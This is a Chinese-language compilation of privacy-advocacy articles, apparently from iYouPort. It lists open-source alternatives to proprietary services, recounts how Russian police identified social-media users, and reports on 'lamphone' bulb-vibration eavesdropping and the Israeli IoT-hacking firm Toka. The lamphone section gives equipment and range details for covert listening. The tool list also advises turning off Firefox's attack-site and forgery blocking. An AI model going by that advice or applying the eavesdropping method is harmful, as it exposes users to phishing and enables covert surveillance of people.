wallabag：一个可以自行架设的用于保存网页的程序。与其他的服务不同，他是免费、自由和开源的。

Cryptpad：自托管的实时协作文档。

Gitea：由社区管理的轻量级代码托管解决方案。

Loomio：Web应用程序，可帮助人们共同制定决策。

5、**DNS**（替代 Google Public DNS、OpenDNS）

dnscrypt-proxy：加密的DNS代理。

nsupdate.info：这是一个自由的动态 DNS 解析服务。您可以用一个简单好记的 DNS 名称来代替变化的、难记的 IP 地址。由于使用标准协议，它支持大多数路由器和客户端，甚至可以主动帮您配置。

Namecoin：.bit 顶级域名所使用的分布式 DNS，基于 Bitcoin 技术。

6、邮箱（替代 Gmail、GroupWise、IBM Notes、雅虎等等）

K-9 Mail：开源的安卓邮件应用，内建支持 PGP 加密。

Kolab Now：Kolab 帐户在瑞士托管（隐私法律最完善的国家之一）。

Mail-in-a-Box：电子邮件服务器安装程序和管理器。

Mailpile：用户友好的默认安全电子邮件客户端。

Riseup：安全私密的电子邮件账户，活动家最适合的工具。

Thunderbird：跨平台的开源电子邮件应用，使用 Enigmail 插件，你

可以实现邮件加密。

注：默认情况下 Thunderbird 不会加密你的电子邮件。Security In A Box 提供了一份指南帮助您使用 Thunderbird、GNU 隐私卫士（GNU Privacy Guard, GPG）和 Enigmail 插件来加密自己的电子邮件。

经过设置，Thunderbird 可以在 TorBirdy 插件下连接 Tor 网络。

Enigmail：雷鸟（Thunderbird）和冰鼬鼠（Icedove）上的一个 OpenPGP 加密插件。

注：这里有一份 Security In A Box 提供的指南 ，解释如何用 Mozilla Thunderbird、GNU Privacy Guard （GPG）和 Enigmail 加密邮件。也可以阅读自由软件基金会的电子邮件加密指南来了解如何加密您的电子邮件内容。

Mailvelope：OpenPGP 邮件加密，支持多数 Email 服务器。

OpenKeychain：安卓平台上的 OpenPGP 实现。

TorBirdy：这个插件让火狐/冰鼬鼠能通过 Tor 联网。

7、安全匿名地传输文件

OnionShare

Up1

这两个也不用介绍了。

注：Up1 是一个简单的主机客户端加密方式，它可以加密图像、文本和其他数据，并且能储存。在下载的时候还能查看图像、带高亮语法的文本、短视频和任意二进制文件。

8、文件存储与同步（替代 Dropbox、Google Drive、苹果云、Microsoft OneDrive 等玩意）

Borg：异地备份要求SFTP。除非明确禁用，否则数据将在客户端上进行加密和身份验证。首选使用 BLAKE2 进行身份验证的加密模式，例如 repokey-blake2。

Cryptomator：云储存的客户端加密工具。数据始终在客户端上加

密。

EteSync：日记日历和联系人同步工具。在客户端上对数据进行加密和身份验证。通过本地 CalDAV / CardDAV 代理可以将其集成到现有软件中。

git-annex：同步计算机上的文件夹。

Gridsync：与 Tahoe-LAFS 网格的用户友好同步。数据在客户端上进行加密和身份验证。在Tor上工作。

Syncthing：持续、分布式的文件同步工具。

注：Syncthing 是一个自架设的文件分享平台，您所有的数据都存储在您自己的电脑里。没有中央服务器会干坏事，不管是合法还是非法的。

所有通信都使用 TLS 保护。所使用的加密包括完全正向保密（perfect forward secrecy），以防止任何窃听者获取你的数据访问。每个节点由一个强大的加密证书识别。只有您明确允许的节点才可以连接到群集。

Tahoe-LAFS：自由和开放的云存储系统。

注：

为什么不用 MEGA？虽然 MEGA 也是免费的，但软件是专有的。

为什么不用 SpiderOak？SpiderOak 是专有软件。

为什么不用 Tarsnap？Tarsnap 部分是专有的并且把你的数据放在 Amazon Web Services。

9、金融（替代 PayPal）

Bisq：去中心化的比特币交易所。

Monero：一种安全、倾向隐私的 P2P 货币。请注意，数字货币汇率可能会波动很大。此外，软件错误、恶意攻击等也可能导致您的损失。

10、固件

OpenBSD：安全的 BSD 操作系统。安全得近乎偏执。

OpenWrt：为嵌入式设备设计的 GNU/Linux 发行版。

注：libreCMC 是由自由软件基金会支持的 OpenWrt 衍生产品，移除了其中的非自由授权的部件。如果你的设备支持 libreCMC，那没有任何疑问。

11、即时通讯（替代 Google Hangouts、微信、Viber Messenger、QQ、LINE、Skype、Facebook Messenger 等等）

Briar：P2P消息传递应用程序。

ChatSecure：适用于iOS的OMEMO或OTR加密的消息传递应用程序。

Conversations：开源的 XMPP/Jabber 客户端，支持 Android 4.0＋。

Psi：跨平台的即时通讯客户端，内建 OTR。

RetroShare：安全的 P2P 通讯平台，提供即时通讯、论坛、网络电话、文件共享等功能。

Signal：具有抗元数据功能的用户友好型 Messenger，可进行音频/视频通话（仅限移动设备）。

Silence：TextSecure 的一个分支，提供短信加密功能。

12、内容发布（替代 Instagram、YouTube、Vimeo、Medium 等专有软件）

PeerTube：视频托管。

PixelFed：图像分享。

WriteFreely：博客平台。

13、网状网络（网状网络是一种分散的对等网络，使用用户自行控制的物理连接—— 通常是无线连接）

Cjdns：Cjdns 是一种网络协议，制定了计算机之间的信息交换方式。“该系统只在加密效验双方身份之后才允许通信，而不是采用一个所有人都能使用的 IP 地址，让任意计算机都能与你连接。

Freifunk：一个非盈利的草根开源计划，目标是在全球范围内建立点对点的无线网络。

guifi.net：面向所有人的开放、自由、中立的无线网络。

tinc：这个自由软件使用守护进程使用隧道以创建一个加密安全的网络。

14、阅读器（替代 Google News）

Tiny Tiny RSS：RSS feed阅读器。

15、操作系统（替代苹果/微软）

CentOS：企业级的计算平台，与 REHL（红帽）兼容。

Debian：流行的，作风正派的 GNU/Linux 发行版。

Fedora：快捷、稳定、强大的 GNU/Linux 发行版。

FreeBSD：免费的基于 BSD 的开源系统。

FreedomBox：一套加密通信系统，由软件和硬件组成。将私密通讯结合到一个廉价的设备上，以期全世界的人们都能拥有不被监控的通讯。

OpenBSD：安全的 BSD 操作系统。安全得近乎偏执。

Qubes：基于 Fedora 和 Xen 的操作系统，旨在通过隔离来增强安全性。

注：

⚠Apple、Google 和 Microsoft 都是棱镜项目的一部分。他们专有的操作系统肯定不能被信任来保护你的个人信息不被泄露给政府间谍。

留给我们的两个免费替代品是：**GNU/Linux** 和 **BSD**。

16、操作系统（即插即用）

Tails：Live CD/USB 设计的致力于保护你的隐私和匿名性的系统。

Whonix：俩虚拟机隔离互联网，把你藏在暗门里。使用方法在这

里。

注：

一个即插即用（live）发行版，比如 **Tails**，是通往安全操作系统的最便捷的路。你需要做的仅仅是使用项目文件创建一个可启动的光盘或 U 盘，然后用它们启动电脑即可，一切都预先设置好了。

虚拟机（VM）镜像，比如 **Whonix** ，则是为虚拟环境，例如 VirtualBox 。VirtualBox 可以安装在 Windows, Linux, macOS 和 Solaris 系统中。这意味着如果你因为一些原因不得不使用 Windows 或 macOS 之类的不安全系统，你可以使用虚拟机来提高安全性。

17、密码管理（替代 1Password、LastPass、Roboform 等）

KeePass DX：安卓的。

KeePassXC：为那些极其重视个人数据安全管理的人设计的，可以在一个数据库里保存用户名、密码、网址、附件和注释等各种内容。

18、生产力（替代 Microsoft Outlook、GroupWise、谷歌文档、Evernote、GroupWise、iWork、Doodle 等）

EtherCalc：共享编辑的电子表格服务器，也可以自行架设。EtherCalc 的在线服务器会使用 HTTPS 技术加密您传输的数据，但随便什么人只要猜到了你的 URL 地址就可以浏览那些内容。如果您在意私密性，建议下载源码，自己搭建一个 EtherCalc 平台。

Riseup：安全私密的通信和协作平台。

注：

Riseup 同样也提供电子邮件、XMPP 和聊天服务，都可以通过 Tor 暗网服务访问。相应的地址列表在这里。

19、社交网络（替代 Twitter、Facebook、linkedin 等东西）

diaspora*：由社区维护的分布式社交网络。

friendica：分布式联合社交网络。

Movim：私密的、去中心化的社交网络服务器。

pump.io：自行架设的社交信息流服务器。

RetroShare：安全的 P2P 通讯平台，提供即时通讯，论坛，网络电话，文件共享等功能。

20、视频与音频通话（替代 Skype、Facebook、Discord、Ventrilo、TeamSpeak等）

Jami：去中心化的音频/视频通话应用程序。

Mumble：加密的低延迟的语音聊天。

Signal

21、浏览器插件（替代 Ghostery）

Decentraleyes：保护你免受集中式的内容分发网络（CDN）的跟踪。它可以拦截到达诸如 Google Hosted Libraries 的请求，并在本地提供相应的文件。内容拦截规则会定期补充。

注：

- 不使用提供免费服务的内容分发网络以保护您的隐私。
- 辅助正则屏蔽器，例如 uBlock Origin，Privacy Badger 等。
- 即装即用；使用前绝对不需要任何配置。

Decentraleyes 不是什么银弹，但它的确能防止许多网站的跟踪。 最后，您还可以让 Decentraleyes 屏蔽任何缺失的 CDN 资源。

HTTPS Everywhere：强制使用 HTTPS，为您与数千个网站间建立加密通信。

Mailvelope：OpenPGP 邮件加密，支持多数 Email 服务器。

NoScript：只启用你信任的网站上的 JavaScript、Java 和 Flash 内容。

注：

安装 **NoScript** 并启用 ‘全局禁用脚本’ 以提高您的浏览器的安全性。这主要可以避免 JavaScript 的零日漏洞攻击。这是一个激进的做法，因为很多网站会因此无法使用，因为它们非常依赖 JavaScript。

NoScript 提供了一个白名单功能，您可以在信任的网站上选择性地启用 JavaScript，但如果你在 **Tor Browser Bundle**（Tor 浏览器）上也这么做，这会被认为是对匿名性非常有害的。

Privacy Badger：可能不如传统的基于黑名单的 uBlock 或 Disconnect 等解决方案更有效。因为广告主可以通过宣称不对你进行跟踪而获得解封。

uBlock Origin：Firefox 和 Chromium 浏览器中的一个有效的拦截插件。

注：

不建议您在 Tor 浏览器上安装自己的扩展程序，因为它们有可能会绕过 Tor 连接网络，或者以其他方式损害匿名性和隐私。

如果您使用的是基于火狐的浏览器，你可以通过安装 **uBlock Origin**、**Request Policy** 和 **HTTPS Everywhere** 等扩展程序来保护隐私。

比 **Request Policy** 更强大的替代品是 **uMatrix**。

安装 **NoScript** 扩展可以全局屏蔽或允许运行网页脚本，可以帮助您免受 JavaScript 零日漏洞的威胁。

为什么不推荐 Adblock Plus ？因为 Adblock Plus 会默认显示“可接受的广告”，这与广告过滤插件的初衷相违背。建议您关闭这一选项，或者迁移到 **uBlock Origin**。

22、浏览器（替代 chrome、IE、Safari、Opera 等）

Firefox：开源的 Web 浏览器，扩展丰富。

注：

默认情况下火狐并不会对第三方隐藏你的 IP 地址，如果你想要隐藏 IP，建议使用 Tor Browser Bundle。

火狐默认情况下使用 Google 作为搜索引擎，建议您改成 DuckDuckGo 或者 Startpage 以提升匿名性。

建议在工具-选项-安全（或 偏好设置-隐私）中取消选中 **”Block**

reported attack sites” 和 **”Block reported web forgeries”** 选项，以避免火狐向 Google 发送网址的哈希值。

Onion Browser：IOS 上的开源浏览器，基于 Tor。

Tor Browser：通过Tor网络，以加密、匿名的方式浏览。

注：

操作安全！《使用 Tor 保护自己时千万不要做这九件事》

23、世界地图（替代 谷歌、Bing、雅虎 等）

OpenStreetMap：自由的世界性的互动地图。

OsmAnd：使用 OpenStreetMap 数据的开源导航系统。

最后

「图」

再次重申：仅仅使用技术工具可能无法确保万无一失，操纵安全始终是第一位的。摆脱专有软件并不容易，但是，开发者社区一直在为此努力。

本文希望能帮助更多人了解开源自由软件的可行替代品，如果您觉得有用，欢迎推荐给您的朋友 —— 安全是需要协作才能完成的《要想保护每个人的人权和安全，我们就需要联合》。〇

原文

反侦察教训：当权者如何抓捕 Facebook 和 telegram 用户 - iYouPort

你的反乌托邦在线生活阴云密布反侦查-在现实中反监视

所谓的数据本地化一直在帮助当权者更容易抓捕本国的异议人士，但是如果异议人士使用”外国平台”呢？事实上根本不需要那些外国平台所谓的”遵守相关国家法律”配合当局提供监视数据，也完全可以实现监视和抓捕，当权者是怎么做的？

「图」

「图」

所谓的数据本地化一直在帮助当权者更容易抓捕本国的异议人士，但是如果异议人士使用“外国平台”呢？事实上根本不需要那些外国平台所谓的“遵守相关国家法律”配合当局提供监视数据，也完全可以实现监视和抓捕。当权者是怎么做的？以俄罗斯为例，因为其中提供了很多中国类似的状况。

在监视俄罗斯的在线行为时，执法机构享有该国最受欢迎的社交网络 Vkontakte 的完全控制权限，该社交网络可根据当局的要求提供任何用户的个人数据。就如中国的微博微信，这不难想象。

这些被监视的信息—包括帐户注册时间、链接的电子邮件地址和电话号码、以及IP地址—在法庭上构成充分证据，以证明个人对其帐户中发布的内容负责。这点也和中国一样，被传唤的人经常能看到自己的社交媒体帖子被打印出来摆在你面前。

然而，在监视外国互联网服务时，没有这样的合作，俄罗斯的警察必须要有“创意‘。他们是怎么做的？

在 Mediazona 网站的一份新报告中，记者 Alexander Borodikhin 总结了10起案件，这些案件都被指涉嫌违反俄罗斯互联网法律，在外国

社交网络上分享所谓的“非法材料”。以下是这份报告的简要总结。

Dmitry Tretyakov——

这位来自滨海边疆地区的32岁活动家现已入狱一年了。他被指控“煽动极端主义”，证据是在亲 Navalny 的 telegram 频道上发送的帖子，帖子是记者 Arkady Babchenko 的。

他们是如何定位 Tretyakov 身份的？

联邦特工突袭了 Tretyakov 的家，抢走了他的手机，手机里有 telegram 的帐户登录。这些警察还调查了他的一位老同学和当地店主，他们确认了 Tretyakov 的名字以及反对派倾向的政治观点。当局还记录了一名“秘密证人”的证词，此人自称是著名反普京律师 Alexey Navalny 在符拉迪沃斯托克办事处的工作人员。

这位不愿透露姓名的人说 telegram 的帖子是针对警察的暴力行为。当局还收集了 Tretyakov 两名审前拘留过程中的同监者的证词，他们说他承认转发了 telegram 频道中的内容，其主题是鼓励人们“殴打警察并拯救俄罗斯”。

FSB 还将 Tretyakov 的电话号码添加到了另一部手机的地址簿中，然后启动 telegram 寻找相关信息。联邦特工在审讯过程中甚至把 Tretyakov 灌醉了，然后显然让他承认了分享记者 Babchenko 的帖子，并且将全程录制成视频。

此案提醒注意：警方抢夺电子设备在中国也广泛存在；认罪视频也一样。不同的是，俄罗斯当局只能将被告灌醉才能令其认罪并拍摄视频，而在中国，当局通过欺骗和恐吓就可以达到同样的目的。其中另一个细节是“你的熟人会出卖你”—— 这就是为什么 IYP 一直强调你必须限制自己的社交范围，确保熟悉你的人都具备足够充分的反侦察意识和能力。

Emil Kurbedinov——

他是克里米亚的一名律师，经常为克里米亚鞑靼活动家辩护，也就是中国的那种人权律师，去年12月，Kurbedinov 因在 Hizb ut-Tahrir 运动的集会上于 Facebook 发布了一些消息，而被判处五天监禁，该运动是泛伊斯兰政治组织，该组织在俄罗斯被作为“恐怖主义”禁止。

Kurbedinov 被判犯有展示极端主义信息罪，并于2019年1月被俄罗斯司法部取消律师资格。

奇怪的是，Kurbedinov 在2017年时也在监狱服刑了10天，也是因为在 Vkontakte 上分享了同样的视频—— 尽管在内容发布时克里米亚还是毫无可争议的乌克兰的土地。

案例记录显示，一名现居叙利亚的男子向俄罗斯“反极端主义”警察举报了 Kurbedinov 的 Facebook 帖子。

那么当局是如何将账户的持有者身份定位到 Kurbedinov 的？

警察访问了俄罗斯联邦检察官 Roskomnadzor 的工作人员，他们声明 Facebook 直播视频只能由拥有直接帐户访问权限的个人发送。一名前 FSB 特工出现在 Kurbedinov 的 Facebook 视频中，继而确认 Kurbedinov 是录制该视频的人。法官判定，这足以“证明” Kurbedinov 发送了非法内容。

此案提醒注意：这其中同样没有需要 Facebook 提供用户数据。警告使用社交媒体发送直播和社会运动跟踪报道的活动家和用户，拍摄和分发的技巧很重要，详见 IYP 曾经介绍过的技巧系列：

- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 《公民取证技巧：如何留住真相？》
- 《拍摄取证 2：详述步骤和具体技巧》

Marlen Mustafaev——

克里米亚的另一位活动家 Mustafaev 也被判在 Facebook 上分享 Hizb ut-Tahrir 的内容（伊扎布特，一个跨国伊斯兰组织），他是2018年9月开始服刑的，其“罪证”是他在2014年发布的内容。

与 Kurbedinov 一样，Marlen Mustafaev 在此前的一年也在监狱服刑，因为他在 Vkontakte 上发布了相同的图像。事实上，两个案件的主审法官都是同一个人，两个案子的裁决中的一些语言显然是复制粘贴的。

当局是如何确认 Mustafaev 身份的？

此案中是非常简单了的：逮捕他的警察抢走并搜查了他的手机，发现该设备已登录到 Facebook 帐户。 Mustafaev 被迫承认帐户是他的。

这个案子提醒注意：切勿将电子设备设置为自动登录，每一次关机前都要退出所有登录；切勿使用生物识别（指纹和脸部）解锁手机和电脑；并建议准备双账户，一旦遭遇酷刑被迫解锁设备时，请登录无害

的备用账户。

Suleiman Kadyrov——

克里米亚的另一名活动家 Kadyrov 因被指控“煽动分离主义”而被定罪，因为他转发了一则声称克里米亚属于乌克兰的视频，并在评论中表示他同意该视频的内容。他被判处两年缓刑并被禁止参加任何公共活动。

当局是如何抓到 Kadyrov 的？

和上述案例一样，FSB 特工搜查了他的家，抢走了他的笔记本电脑和手机，这些笔记本电脑和手机都登录了那个特定的 Facebook 帐户。当局还获得了电话记录，表明 Kadyrov 在视频重新发布到 Facebook 上的那天“进行了传出数据连接”。

Evgeny Lesovoi——

Lesovoi 是一名生活在库尔干的52岁商人，因被指控“煽动极端主义“和通过 telegram 在2017年11月5日宣传“革命”的帖子，而被判处两年监禁，涉事的帖子是由 Vyacheslav Maltsev 的“Artpodgotovka”运动组织的2017年11月5日的动员。

Lesovoi 被提前假释，但他说他所有的商业资产在他被监禁期间都被卖掉或被扣押了。在审判中，Lesovoi 说他甚至不知道 Telegram 是什么，并说电话维修人员可能在他不知情的情况下在他的设备上安装了应用程序。

那么当局是如何抓到 Lesovoi 的 telegram 账户的？

联邦特工和反极端主义部队官员监视了一个 Vkontakte 上的亲 Navalny 的聊天群组——（在中国这种情况就是，当局监视了一个谈论推特/telegram 的微信群）。在那里，他们找到了一个 telegram 频道的链接，一个昵称为“LEV”的用户主张对警察采取暴力反抗。

该用户的头像与在库尔干的一个名为 Evgeny Lesovoi 的男子注册的 Vkontakte 账户的个人资料头像相同。

当官员确定只有一个生活在库尔干的 Evgeny Lesovoi 时，当局就开始窃听他的电话，并传唤了一位与他讨论过“革命”的朋友。

从 Lesovoi 的电话公司获得的记录也显示他的移动设备在他的

Telegram 帐户处于活动状态时正在传输数据。两天后，联邦特工就扣留了他的手机，该手机直接登录在那个 telegram 帐户中。

在搜索 Lesovoi 的家时，当局在2017年11月5日发现了一张装有反普京抗议活动文件的CD。法官后来忽略了这样一个事实，即 Lesovoi 案件材料中确定的档案在他被捕后被编辑过，表明警察可能已经篡改过其中的内容。

此案提请注意（依旧是我们曾经不断重复过的基本卫生标准）：切勿在敏感和不敏感的不同平台使用同样的头像和昵称；切勿将敏感内容带入不安全的平台上交流—微信不可以作为其他平台的备份，既包括内容也包括社交关系；每次离线之前必须退出所有登录。当局有可能暗中修改可用来定罪的文档，故而关键文档资料必须在不同地点和不同的人手中备份。

Alexander Petrovsky——

Petrovsky 是加里宁格勒的一名35岁的出租车司机，于2018年6月被判处两年有期徒刑，他于2017年10月下旬在 telegram 上发布了两条音频信息，那时距离 Artpodgotovka 的“革命”不到一周时间。

他发布那个音频的群组有大约100人，他在讲话中提倡街头运动、阻止警察和推翻普京政权。

Petrovsky 是如何被抓到的？

他自己承认发送这些信息，但他否认了重罪指控。检察官传唤的一名证人是被确认为有关 telegram 群组的创建者，导致人们猜测该群组本身就是由一名 FSB 线人故意制建的，以诱骗这些活动家。

此案尤其需要注意：这种钓鱼手段非常好用，根本无需外国社交媒体公司提供数据；美国警方也经常利用这种方法卧底并监视民间活动家组织（在Facebook）。我们不希望过多强调它，避免引发更多社会焦虑，但有一点必须强调—— 即 如果您希望通过私密群组动员社会运动，那就必需确保匿名安全，并且，您应该知道自己正在面向什么样的人发起动员、群体中是否有可疑的不安全因素，不注重隐私安全的成员也应当被视为不安全因素。

Konstantin Ishutov——

去年十月，伊布托夫的反对派活动家 Ishutov 被指控分享第二次世界大战中向苏联士兵提供的德国传单照片，其中承诺给予苏联被压迫的

农民土地和宗教自由。他在转贴的评论中说："当第三帝国向苏联人民讲述比普京更好地解决俄罗斯人民问题的承诺时。"

目前此案件已经停滞不前，但是，与此同时，当局判定 Ishutov 在16年前发表的 LiveJournal 博客文章中存在"传播极端主义"内容，并罚款1000卢布。

当局是如何抓到 Ishutov 的？

在 Ishutov 的一次听证会上，警方向其他活动人士发出传票，这些人支持 Ishutov，警方指示他们进行讯问，希望能借此确认案件中的 Facebook 帐户实际上属于 Ishutov。

当这个方案不起作用时，当局下令对 Ishutov 的自行车头盔进行分子遗传检测，因为该 Facebook 帐户中的个人资料图片显示 Ishutov 戴着那个自行车头盔。警方也下令对 Ishutov 的电脑鼠标和键盘进行了类似的检测（这些电子设备是在对他家的第三次搜查中查获的），尽管 Ishutov 并不否认该设备属于他。

此案提醒注意的是：切勿通过社交网络分享任何个人资料信息；如果当局想要定罪一个人，N年前的记录都可以作为罪证。您在开始反抗之前必须做到全面清除互联网上一切个人信息。

Dmitry Baikov 和 Dmitry Grabar——

Magadan 的居民 Baikov 和 Grabar 去年使用 WhatsApp 在一个公共群组中批评 Yuri Grishan 市长，当时该市正在辩论是否恢复直接的市长选举，这一选举在2013年被废除。

当局是如何抓到他俩的？

为了找到他俩，警方确定了 WhatsApp 群聊小组中的每一个成员，并逐一查获了他们的手机。权利组织批评当局非法搜查和扣押，结果当局坚称他们忽略了在手机上遇到的与调查无关的任何数据。

当警察将搜查范围缩小到 Baikov 和 Grabar 时，他俩向市长 Grishan 承认并道歉。最后，他们每人被罚款15,000卢布。

此案很有趣，并提醒注意：当局是如何破解 WhatsApp 群聊的？WhatsApp 不是 telegram，后者默认不加密，前者默认加密；暂时排除俄罗斯当局已经找到破解技术的可能性，因为这种可能性如果存在就不需要分析了；于是这种状况有可能的原因也许还包括该群组中有

成员截图并分享了聊天记录。无法确定分享者出于有意还是无心，在中国曾经有过类似的情况，群组交流者不注重团队安全性，发现“有趣的或有价值”的信息时会倾向于截图分享。这种情况下尤其需要群组参与者充分匿名，如果必须使用 WhatsApp 或者 signal，请采取非本人常用手机号码。我们曾经介绍过《如何在不必暴露真实电话号码的情况下使用 Signal》

Vyacheslav Rybakov——

另一位在 Cheboksary 的活动人士 Rybakov 于2017年12月因涉嫌在 Facebook 上转发一张照片而被拘留，该照片显示在弗拉基米尔·普京的额头上画了一个纳粹的标志—他被定罪为“非法展示纳粹标志”。

当局如何证明 Rybakov 是转发者？

警方并没有证明。当警方无法证明 Rybakov 对 Facebook 转发负责时，地方法院驳回了此案。当局后来试图进入他的家，计划抢走他的电脑，但 Rybakov 拒绝让他们进入。最后，警方放弃了此案。

以上案例希望能给中国的异议人士、活动家和记者一些警惕；相关追踪监视的可能性方法还有很多，如果您或您的身边人从事过相关活动，应该在此有更多丰富经验。

我们了解到一些中国的异议人士看起来很“勇敢”，他们不担心被抓捕，甚至以被抓捕为荣耀—— 将其解释为 “令当局恐惧了”。这种价值观是错误的，因为容易被捕等同于无法实现有价值的目的。只有实现这样的目的才能真正的“令当局恐惧”。

原文

间谍如何用灯泡窃听你的私密谈话？（不是智能灯泡） - iYouPort

反侦查-在现实中反监视

想象一下爱迪生读到这篇文章后的表情 ……

「图」

「图」

哈利波特最棒的魔法之一是那个可以伸缩的耳朵，巫师们用它来偷听门后的秘密对话。现实中的间谍们还没法拥有那种耳朵来实现窃听，但是，新的灯泡窃听法可能对间谍来说很有吸引力。

以色列内盖夫本古里安大学的科学家发现，可以从灯泡的振动模式中恢复完整的对话。

悬挂的灯泡既充当振动膜（声波在其表面层叠），又充当换能器（将气压从声音转化为光的微小变化），这意味着它可以成为特工和各种偷窥狂的有用工具。

研究人员在他们的新论文中写道：“我们展示了窃听者可以如何通过利用悬挂式灯泡表面的气压波动（响应声音），该波动导致灯泡轻微振动，从而被动地恢复语音和音乐声，从外部实时进行监听”。他们计划在今年晚些时候将论文提交给 BlackHat USA 安全会议。

他们将这种新的攻击方法称为 “lamphone”。它的灵感来自于早前对特斯拉自动驾驶汽车黑客方式的启发，就是利用一个简单的投影仪来愚弄计算机视觉系统的方法。

实现这种窃听方法甚至十分方便，也足够便宜，您完全可以手动完成——只要有一台笔记本电脑、一台望远镜和一台光电传感器，就能实时监听数百英尺外的任何微小的声音。实验中用到的后两者价格没超过1000美元。

目前可以从80英尺外的地方实现攻击，但是如果使用改进的设备和更好的望远镜，它甚至可以在更远的距离上发挥作用。

「图」

「图」

为了测试这一窃听设备，研究人员把三个不同透镜直径的望远镜放置在了距离目标办公室灯泡约25米远的地方 —— 利用一个简单的12瓦LED灯泡，每个望远镜的目镜都放在光电传感器 Thorlabs PDA100A2之前。

他们的目标是：从房间中恢复语音和音乐，而无需进入或听到目标地点的任何声音。

当房间内的人开始说话或播放音乐时，研究人员把这些收集到的信息送入笔记本电脑，电脑就开始对读数进行分析；数模转换器把传感器收集到的电信号转换为数字信号。

尽管声音振动带来的运动量只有几百微米，但是灯泡仍然能够对这些微小振动有所反馈，对于传感器来说这些反馈将表现为每个望远镜能获取到的可测量的光的变化。

通过软件滤除噪声，利用 Google 的 Google’s Speech-To-Text API 进行转录，研究人员就能以惊人的保真度重建房间内的声音记录。

他们不仅很好地还原了电视里特朗普的讲话，还录下了 Beatles 的 “Let It Be”。

安全研究员 Ben Nassi 说：“对房间中的任何声音都可以进行窃听并还原，而且无需破坏任何东西，也不需要什么太过精密的设备。”

不过，作为一项试验品，这项技术还是存在一些局限性。

实验过程中研究人员使用的是悬挂式灯泡，目前还不清楚固定灯或安装在天花板上的灯泡是否会产生足够的振动。在演示中，他们是把语音和音乐都开到了最大才获取到足够的信息。

即使如此，研究团队指出，在光电传感器和数模转换器的选择上，他们使用的是相对便宜的、功能性并没有那么充分的一类。如果升级传感器设备，甚至能够针对更安静的对话进行监听。

斯坦福大学的计算机科学家和密码学家 Dan Boneh 认为，尽管目前这项实验还有待优化和补充，但这项技术本身代表着一种重要且具有实际意义的新形式革新，即所谓的“旁道攻击”，这是一种利用意料之外的信息泄漏渠道进行窃听的方法。

“这是旁道攻击的完美应用”，Boneh 说，“即使这需要悬挂式灯泡和高分贝语音，它仍然是非常有价值的。相关研究第一次被证明是可能的，未来随着研究的深入和技术的发展，攻击效果只会越来越好”。

这种攻击模式其实并非最新出现。在2014年。MIT、微软和Adobe的研究人员就开发出了 visual microphone —— 通过望远镜记录下屋内的详细视频，包括房间里一个物体（比如一包薯片或一株室内植物）的振动，然后通过分析视频，就能够重建语言和音乐。

在 visual microphone 的实验中，研究人员主要使用了高速摄像头，因为想要从视频重构音频，视频采样的频率就必须高于音频信号的频率。

他们在实验中使用到的高速摄像头每秒可捕获2000至6000帧，与最好的商用高速相机每秒100000帧的速率相比还是有差距的。

针对MIT的实验方法，Nassi 指出，基于视频的技术虽然用途更广泛，因为它不需要在房间里看到灯泡，但是在录制视频后，需要使用软件对视频进行分析，从而将物体中观察到的细微振动转换为声音。

相比之下，**lamphone** 可以进行实时监视，同时由于振动的物体本身就是光源，电光传感器就可以用更简单的视觉数据进行拾取。

Nassi 认为，这可能会使 lamphone 在间谍活动中的实用性大大提高，他说：“当你真正使用它时，你能够利用 lamphone 实时做出反应，任务成功率也会高很多。”

当然，阻止这种窃听也十分容易。只需要盖上悬挂式灯泡，或者直接把窗帘关上，甚至可以在窗户上安装防振设备。

不要错过一些反间谍反侦察的方法：

- 《如何检测您是否正在受到监视？—— 监视检测和特殊保护行动》
- 《在你的日常生活中应用隐蔽野战技术：简单方式抵御敌对监视》
- 《反侦察：除技术之外你还应该注意诸多重要的细节问题》

- 更多内容见 列表-1 “反侦查 在现实中反监视”

○□

Extracting audio from visual information

原文

以色列创业公司筹集了1250万美元，让政府可以破解物联网 - iYouPort

IoT-危机和防御以色列和NSO-间谍产业的领主

他们先是告诉你“智能家居是当下的高端品质生活”，他们让人们深信拥有 Alexa 是必不可少的；然后他们就开始将大规模的联网设备武器化，让当权者可以轻松入侵任何地方

「图」

「图」

一群前以色列军事专家为政府建立了一站式黑客商店。

基于特拉维夫的 **Toka** 公司表示，它将为客户想要破解的*任何设备*提供间谍工具。

虽然它肯定会试图破解像 Apple iPhone 这样的设备，但是它特别关注的是所谓的物联网（**IoT**），⚠涵盖了Amazon Echo、Nest 互联家居产品，以及连接冰箱、恒温器和报警器等家用产品的技术。

然而，物联网的武器化让隐私活动家深感焦虑。

凭借令人印象深刻的种子筹资1250万美元、以及前以色列总理埃胡德巴拉克作为联合创始人，还有“全明星”阵容领导团队，Toka 希望充分利用物联网带来的“市场机遇”，即使服务于情报机构和军事单位也是如此。

到今年年底，地球上的物联网设备数量估计将达到350亿。

以色列国防军网军前任主席 **Yaron Rosen** 准将现任 **Toka** 的总裁，他为福布斯提供了一个关于物联网如何在现实世界中发挥作用的例子。

他说，想象一下，一名恐怖分子在一个封闭的空间内劫持了人质。当 SWAT 团队接近时，特工们可能首先入侵墙外的联网设备，而不是突然进入关押人质的盲区，以事先获得房间内的视频或音频。

尚不知道该公司是否会专注于像 Amazon Echo 这样的特定设备，要看客户的期待是什么了。

Toka 还将提供“网络设计师服务”，以实现数字安全的“整体”方法。

“我们相信这是一个新的类别，一个网络能力建设公司”，Rosen 说，他与以色列网络安全巨头 Check Point Alon Kantor 的前副总裁 Barak、以及安全和移动公司前首席执行官 Kfir Waldman 一起创办了该公司。

「图」

「图」

Former Israeli prime minister Ehud Barak, one of Toka’s cofounders. (Photo credit: MENAHEM KAHANA/AFP/Getty Images)

Toka 所有的牛逼哄哄都不会影响专业黑客工具的兴起。

引起焦虑的一个主要原因是：**Toka** 不会透露他们在供应商攻击的各种技术中发现的漏洞，也就是保持它 **0day** 状态，这些供应商的产品将继续遭受利用这些漏洞的攻击。

Toka 的利基监视行业 —— 通常被伪装为“合法拦截”市场 —— 经常发现自己处于人权问题的中心。

另一家以色列监控公司臭名昭著的 NSO 集团已经陷入了一大堆间谍丑闻，被用来监视记者、律师和活动家智能手机的间谍软件都是该公司干的。

多伦多大学公民实验室的网络安全和隐私研究员 John Scott-Railton 警告说，监控市场中的技术公司在控制他们的间谍工具时很不负责任，这些间谍工具一旦落入人权记录较差的政府手里可能是非常危险的。

“如果我是投资者，我会仔细研究这些公司的风险。但是我们还没有看到任何一家公司能够有效控制其工具的使用方式，而且我们所看到的每家这类公司都有一大堆的滥用案例，“他说。

